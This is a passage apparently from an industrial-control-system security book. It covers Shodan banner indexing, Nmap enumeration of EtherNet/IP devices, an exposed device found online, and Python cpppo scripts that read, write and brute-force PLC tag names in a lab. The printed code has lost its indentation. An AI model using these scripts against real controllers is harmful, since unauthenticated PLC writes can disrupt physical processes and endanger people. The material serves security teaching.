Shodan: The scariest search engine on the internet

To find internet-connected EtherNet/IP devices, we could scan the internet for devices with an open EtherNet/IP port (TCP or UDP port 44818). Not only would that take a long time, its legal implications are debatable. Thankfully, there are services out there that have done the heavy lifting for us. https://www.shodan.io/ is one of these services.

Quoted from Wikipedia (https://en.wikipedia.org/wiki/Shodan_(website)):

"Shodan is a search engine that lets the user find specific types of computers (web cams, routers, servers, and so on) connected to the Internet using a variety of filters. This can be information about the server software, what options the service supports, a welcome message or anything else that the client can find out before interacting with the server."

What does this mean exactly? A service like Google will crawl the Web to index web pages, which are slabs of HTML, text, script, data and so on, returned by sending GET requests to a web server. Shodan indexes the responses from querying the information about the service itself, such as the specifics about a server's running HTTP, Telnet, SNMP, or SSH service. This information comes in the way of banners that get sent when connecting to the server or service in question.

Here is an HTTP server example:

# ncat 172.25.30.22 80
GET / HTTP/1.1

HTTP/1.1 400 Bad Request
Date: Sat, 20 May 2017 17:36:57 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 127.0.1.1 Port 80</address>
</body></html>

Here is an SSH server example:

# ssh 172.25.30.22 -v
OpenSSH_7.4p1 Debian-10, OpenSSL 1.0.2k 26 Jan 2017

debug1: Remote protocol version 2.0, remote software version OpenSSH_7.4p1 Debian-10
debug1: match: OpenSSH_7.4p1 Debian-10 pat OpenSSH* compat 0x04000000

debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: Server host key: ecdsa-sha2-nistp256 SHA256:USIikoMp7u9qbI0s3395IEo9bpdLx8a/bVHKxDCbQYU

So, let's see what an EtherNet/IP device returns when we query it. For this, I am going to use the Nmap script enip-info. I will be targeting a physical Ethernet module I have running in my lab. If you are not as lucky to have one at your disposal, you can run a Python-implemented EtherNet/IP stack on the Ubuntu VM to follow along. The stack is part of the Python CPPPO module written by Perry Kundert https://github.com/pjkundert. To get the CPPPO Python module installed and the EtherNet/IP server up and running, enter the following commands on the Ubuntu VM:

$ sudo pip install --upgrade cpppo
$ python -m cpppo.server.enip -v
05-20 11:05:54.167 MainThread root NORMAL main Loaded config files: []
05-20 11:05:54.167 MainThread enip.srv NORMAL main …

Here is how we use Nmap to query the EtherNet/IP device. Note that if you are targeting the Ubuntu VM, you would use the IP address 192.168.179.131 instead:

~# nmap 172.25.30.10 -p 44818 --script=enip-info
Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-20 14:09 EDT
Nmap scan report for 172.25.30.10
Host is up (0.00064s latency).
PORT STATE SERVICE
44818/tcp open EtherNet-IP-2
| enip-info:
| Vendor: Rockwell Automation/Allen-Bradley (1)
| Product Name: 1756-EN2T/B
| Serial Number: 0x00611ab0
| Device Type: Communications Adapter (12)
| Product Code: 166
| Revision: 5.28
|_ Device IP: 172.25.30.10
MAC Address: 00:00:BC:5B:BF:F1 (Rockwell Automation)
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds

The Python-implemented stack will return different results:

44818/tcp open  EtherNet-IP-2
| enip-info:
| Vendor: Rockwell Automation/Allen-Bradley (1)
| Product Name: 1756-L61/B LOGIX5561
| Serial Number: 0x006c061a
| Device Type: Programmable Logic Controller (14)
| Product Code: 54
| Revision: 20.11
|_ Device IP: 0.0.0.0

Now, suppose we take a unique, but not too unique, piece of identifying information from this result to use in Shodan, something like Device Type: Communications Adapter:

There are close to 2000 results! Say, we pick one to look at the details:

If you work for Telenet N.V. in Belgium and are reading this book, consider this a freebie mini pentest and go fix this issue right now. Your ICS devices should never be reachable from the internet!

What we can see in the result details is that the device in question is a 1756-ENBT/A network card. If you look closely, the results also show an IP address in the private subnet range, 192.168.5.70. This means that the device we found is most likely behind a Network Address Translation (NAT) device, often done to be able to access internal control system networks without having to reconfigure a bunch of devices, often also implemented wrongly, as is the case here.

At this point, we could run the Nmap enip-info script on the target, find out the exact model, find a vulnerability, and exploit it. But things are much simpler and much more dangerous than that. Using the programming software for the Rockwell Automation PLC (RSLogix 5000), an attacker can directly connect to the PLC and everything else connected to the same 192.168.5.0 network and perform all the actions a programmer would be able to do, such as forcing open/closed valves, wiping the PLC memory, replacing the PLC firmware, stopping the program, and so on:

We are not limited to the programming software either. The CPPPO Python module has support for EtherNet/IP client functionality as well. To test this out, we are going to restart the Python EtherNet/IP server on the Ubuntu VM with an array of tags defined:

$ python -m cpppo.server.enip SCADA=INT[1000] -v

This command starts the EtherNet/IP server with an array of 1000 tags with the type of INT. These tags are readable and writeable. On the Kali Linux VM, create a new Python script:

#!/usr/bin/env  python2

from cpppo.server.enip import client
import time

host = "192.168.179.131"
tags = [ "SCADA[1]", "SCADA[2]" ]

with client.connector( host=host ) as conn:
for index,descr,op,reply,status,value in conn.pipeline(
operations=client.parse_operations( tags ), depth=2 ):
print( "%s: %20s: %s" % ( time.ctime(), descr, value ))

Running the script results in pulling the values of the first two tags of the array:

~# python ReadWriteTags.py
Sat May 20 16:36:52 2017: Single Read Tag SCADA[1]: [0]
Sat May 20 16:36:52 2017: Single Read Tag SCADA[2]: [0]

Writing to tags is done with the following script:

#!/usr/bin/env  python2

from cpppo.server.enip import client
import time

host = "192.168.179.131"
tags = [ "SCADA[1]", "SCADA[2]=(INT)33" ]

with client.connector( host=host ) as conn:
for index,descr,op,reply,status,value in conn.pipeline(
operations=client.parse_operations( tags ), depth=2 ):
print( "%s: %20s: %s" % ( time.ctime(), descr, value ))

When we read back the values, it shows the change we made:

Sat May 20 18:15:50 2017: Single Read  Tag  SCADA[1]: [0]
Sat May 20 18:15:50 2017: Single Read Tag SCADA[2]: [33

So how do we know what tags to target? There is a way to brute-force the tag names that are configured on a PLC. The following script is an example of how to accomplish this. It uses a list of common tag names and tries and sees whether the tag name exists on the target PLC.  As with brute-forcing passwords, the better the wordlist, the more successful the attack will be, and the more tag names will be revealed:

#!/usr/bin/env  python2

from cpppo.server.enip import client

host = "192.168.179.131"

with open('tagNames.txt') as f:
tags = f.read().splitlines() # read all the tag names in the dictionary file,
# stripping of newlines
with client.connector( host=host ) as conn:
for tag in tags:
req = conn.read( tag + '.ACC') # adding .ACC to avoid errors on not DINT type tags

assert conn.readable(timeout=1.0), "Failed to receive reply"

reply = next(conn)
for k, v in reply.items(): # Scan through the Key and Value pairs returned
if str(k).endswith('status'):
if (v == 5): # Found a valid tag if the transaction status is 5
print tag + " is a valid tag"

This is a very short and limited example list of tag names to try:

testTag
admin
testTag2
password
timer
secret
tank
centrifuge

The results of running it on a PLC running in my lab are as follows:

testTag is a valid tag
testTag2 is a valid tag
password is a valid tag
timer is a valid tag

We can now use the discovered tag names to read and write to. 

As you can see, EtherNet/IP and CIP suffer much the same vulnerabilities as the other industrial protocols. The lack of authentication allows everyone to issues commands to devices. The lack of network security measures such as encryption and integrity checks allows manipulation of the data in transit.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.191.235.62